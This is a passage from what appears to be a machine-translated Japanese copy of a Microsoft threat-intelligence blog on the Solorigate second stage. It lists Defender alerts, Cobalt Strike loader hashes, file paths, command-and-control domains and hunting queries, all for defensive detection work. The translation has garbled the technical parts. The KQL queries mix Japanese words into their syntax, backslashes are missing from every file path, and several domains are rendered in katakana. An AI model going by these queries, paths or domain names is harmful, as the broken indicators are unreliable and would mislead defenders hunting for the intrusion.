  • 不審な「Atosev」の動作がブロックされました
  • 疑わしいリモート WMI 実行
  • WMI イベント フィルタが疑わしいイベント コンシューマにバインドされました

Microsoft Defender for Identity アラート:

  • ユーザーおよび IP アドレスの偵察 (SMB)
  • Kerberos SPN 露出の疑い

図 11. 2020 年 6 月に、Solorigate 関連の悪意のあるアクティビティに対して Microsoft Defender for Endpoint によって生成されたアラート

Solorigate 攻撃の開示とその後の調査により、既存の検出を改善し、新しい検出を構築するために使用した詳細とインテリジェンスがさらに明らかになりました。 Solorigate の検出と調査に関する包括的なガイドを探しているセキュリティ運用チームは、 Microsoft 365 Defender を使用して Solorigate から保護する を参照できます。

一方、セキュリティ管理者は、「 Microsoft Defender を使用して、Solorigate やその他の高度な攻撃に対する回復力を高める」で概説されている、Solorigate や同様の高度なサイバー攻撃に対してネットワークを強化するための推奨事項を使用できます。

Microsoft から最新の情報とガイダンスを入手するには、 https://aka.ms/solorigateにアクセスしてください。

 

Microsoft 365 Defender 研究チーム

マイクロソフト脅威インテリジェンス センター (MSTIC)

マイクロソフト サイバー ディフェンス オペレーション センター (CDOC)

 

侵害の痕跡 (IoC)

カスタム Cobalt Strike ビーコン ローダー (SHA-256):

118189f90da3788362fe85eafa555298423e21ec37f147f3bf88c61d4cd46c51
1817a5bf9c01035bcf8a975c9f1d94b0ce7f6a200339485d8f93859f8f6d730c
1ec138f21a315722fb702706b4bdc0f544317f130f4a009502ec98345f85e4ad
2a276f4b11f47f81dd2bcb850a158d4202df836769da5a23e56bf0353281473e
327f1d94bc26779cbe20f8689be12c7eee2e390fbddb40b92ad00b1cddfd6426
3985dea8e467c56e8cc44ebfc201253ffee923765d12808aaf17db2c644c4c06
557f91404fb821d7c1e98d9f2f5296dc12712fc19c87a84602442b4637fb23d4
5cf85c3d18cd6dba8377370883a0fffda59767839156add4c8912394f76d6ef0
5f8650ca0ed22ad0d4127eb4086d4548ec31ad035c7aec12c6e82cb64417a390
674075c8f63c64ad5fa6fd5e2aa6e4954afae594e7b0f07670e4322a60f3d0cf
6ff3a4f7fd7dc793e866708ab0fe592e6c08156b1aa3552a8d74e331f1aea377
7c68f8d80fc2a6347da7c196d5f91861ba889afb51a4da4a6c282e06ef5bdb7e
915705c09b4bd108bcd123fe35f20a16d8c9c7d38d93820e8c167695a890b214
948bfdfad43ad52ca09890a4d2515079c29bdfe02edaa53e7d92858aa2dfbe4c
955609cf0b4ea38b409d523a0f675d8404fee55c458ad079b4031e02433fdbf3
b348546f4c6a9bcafd81015132f09cf8313420eb653673bf3d65046427b1167f
b35e0010e0734fcd9b5952ae93459544ae33485fe0662fae715092e0dfb92ad3
b820e8a2057112d0ed73bd7995201dbed79a79e13c79d4bdad81a22f12387e07
be9dbbec6937dfe0a652c0603d4972ba354e83c06b8397d6555fd1847da36725
c5a818d9b95e1c548d6af22b5e8663a2410e6d4ed87df7f9daf7df0ef029872e
c741797dd400de5927f8b5317165fc755d6439749c39c380a1357eac0a00f90c
c7924cc1bc388cfcdc2ee2472899cd34a2ef4414134cbc23a7cb530650f93d98
c96b7a3c9acf704189ae8d6124b5a7b1f0e8c83c246b59bc5ff15e17b7de4c84
cbbe224d9854d6a4269ed2fa9b22d77681f84e3ca4e5d6891414479471f5ca68
cdd9b4252ef2f6e64bccc91146ec5dc51d94e2761184cd0ffa9909aa739fa17e
dbd26ccb3699f426dc6799e218b91d1a3c1d08ad3006bc2880e29c755a4e2338
e60e1bb967db273b922deeea32d56fc6d9501a236856ef9a3e5f76c1f392000a
f2d38a29f6727f4ade62d88d8a68de0d52a0695930b8c92437a2f9e4de92e418
f61a37aa8581986ba600286d65bb76100fb44e347e253f1f5ad50051e5f882f5
f81987f1484bfe5441be157250b35b0a2d7991cf9272fa4eacd3e9f0dee235de

カスタム Cobalt Strike Beacon ローダーのファイル パス:

C:Windowsmssmssms.dll
C:WindowsMicrosoft.NETFramework64sbscmp30.dll
C:WindowsAUInstallAgentauagent.dll
C:Windowsapppatchapppatch64sysmain.dll
C:WindowsVssWritersApplicationAppXML.dll
C:WindowsPCHEALTHhealth.dll
C:WindowsRegistrationcrmlog.dll
C:WindowsCursorscursrv.dll
C:WindowsAppPatchAcWin.dll
C:WindowsCbsTempcbst.dll
C:WindowsAppReadinessAppapi.dll
C:WindowsPantherMainQueueOnline.dll
C:WindowsAppReadinessAppRead.dll
C:WindowsPrintDialogPrintDial.dll
C:WindowsShellExperiencesMtUvc.dll
C:WindowsPrintDialogappxsig.dll
C:WindowsDigitalLockerlock.dll
C:WindowsassemblyGAC_64MSBuild.5.0.0__b03f5f7f11d50a3amsbuild.dll
C:WindowsMigrationWTRctl.dll
C:WindowsELAMBKUPWdBoot.dll
C:WindowsLiveKernelReportsKerRep.dll
C:WindowsSpeech_OneCoreEnginesTTSen-USenUS.Name.dll
C:WindowsSoftwareDistributionDataStoreDataStr.dll
C:WindowsRemotePackagesRemoteAppsRemPack.dll
C:WindowsShellComponentsTaskFlow.dll

コバルト ストライク ビーコン:

エイムセキュリティ[.]ネット
datazr[.]com
ervsystem[.]com
Financialmarket[.]org
gallerycenter[.]org
インフィニティソフトウェア[.]com
mobilnweb[.]com
olapdatabase[.]com
スワイプサービス[.]com
techiefly[.]com

高度なハンティング クエリ

Solorigate に関連する Advanced Hunting Queries (AHQ) のコレクションは 、GitHub の AHQ リポジトリにあります。このブログのコンテンツに関連する可能性のある悪用活動を見つけるには、Microsoft Defender for Endpoint を介して次の高度な検索クエリを実行できます。

7zip の異常な使用法

7zip の異常な使用法または実行中のプロセスを探します。 Microsoft Defender for Endpoint でクエリを実行します

DeviceProcessEvents
| | InitiatingProcessFileName in ~("rundll32.exe", "dllhost.exe") 
および InitiatingProcessCommandLine != "" 
InitiatingProcessCommandLine ! には " " が含まれています
| |拡張 RundllTime = タイムスタンプ
| | $left.DeviceId == $right.DeviceId で DeviceProcessEvents に参加する
| |ここで、InitiatingProcessFileName には接頭辞「7z」があります 
または InitiatingProcessCommandLine に「-mx9」がある
| | extends DateDiff = datetime_diff("day", Timestamp, RundllTime)
| |ここで、DateDiff < 2

カスタム Cobalt Strike の存在

カスタム コバルト ストライク ローダーの存在を探します。 Microsoft Defender for Endpoint でクエリを実行します

DeviceProcessEvents
| |どこで FileName =~ "rundll32.exe"
| | InitiatingProcessIntegrityLevel in ("High", "System")
| |ここで、ProcessCommandLine は正規表現に一致します 
@'(?i)rundll32s+c:windows([^]+)+.dlls+[a-zA-Z0-9_]{3,}'

コマンドと制御

コマンドアンドコントロール接続を探します。 Microsoft Defender for Endpoint でクエリを実行します

デバイス ネットワーク イベント
| |どこで InitiatingProcessParentFileName =~ "rundll32.exe"
| |どこで InitiatingProcessFileName =~ "dllhost.exe" 
および InitiatingProcessCommandLine != "" 
InitiatingProcessCommandLine ! には " " が含まれています

既知のコマンド アンド コントロール ドメインへのネットワーク接続を探します。 Microsoft Defender for Endpoint でクエリを実行します

デバイス ネットワーク イベント
| |どこで RemoteUrl in~('aimsecurity.net',
'datazr.com',
'ervsystem.com',
'financialmarket.org',
'gallerycenter.org',
'infinitysoftwares.com',
'mobilnweb.com',
'olapdatabase.com',
'swipeservice.com',
「techiefly.com」)

 

参考: https ://www.microsoft.com/en-us/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop- and-raindrop/

Comments

Copied title and URL